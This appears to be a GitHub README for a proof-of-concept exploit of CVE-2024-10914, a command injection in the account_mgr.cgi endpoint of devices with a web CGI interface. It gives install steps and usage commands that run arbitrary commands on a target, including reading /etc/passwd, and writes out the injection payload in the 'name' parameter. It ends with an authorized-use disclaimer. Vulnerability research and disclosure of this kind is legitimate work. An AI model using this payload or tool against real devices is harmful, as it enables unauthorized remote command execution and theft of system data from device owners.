0xss3k/cve-2024-10914__pocPoC para explotar el CVE-2024-10914
Exploit for command injection vulnerability in the /cgi-bin/account_mgr.cgi endpoint. This vulnerability allows arbitrary command execution on the affected system through unsanitized parameters.
CVE-2024-10914 is a command injection vulnerability affecting devices with a web CGI interface. The vulnerable application does not properly validate the name parameter in the cgi_user_add request, allowing an attacker to inject system commands that will be executed with application privileges.
Clone the repository and install dependencies:
git clone https://github.com/0xSS3K/CVE-2024-10914__POC.git
cd CVE-2024-10914__POC
pip install -r requirements.txt
Or install manually:
pip install requests
The script provides two arguments:
python CVE-2024-10914_EXPLOIT.py -u <URL> -c <COMMAND>
-u, --url (required): Target URL (e.g. http://192.168.1.1)-c, --command (optional): Command to execute (default: id)Execute id command:
python CVE-2024-10914_EXPLOIT.py -u http://192.168.1.1
Execute custom command:
python CVE-2024-10914_EXPLOIT.py -u http://192.168.1.1 -c "cat /etc/passwd"
List files:
python CVE-2024-10914_EXPLOIT.py -u http://192.168.1.1 -c "ls -la /tmp"
The exploit sends a GET request to the vulnerable endpoint with the following payload:
/cgi-bin/account_mgr.cgi?cmd=cgi_user_add&name="; <COMMAND>; "
The empty string is closed with quotes and the desired command is injected, which executes in the server context.
The script will display:
This code is provided for educational and security research purposes only. It should only be used on systems for which you have explicit authorization. Unauthorized use of this exploit may violate local laws and constitute a crime. The author is not responsible for the misuse of this tool.
SS3K
Not specified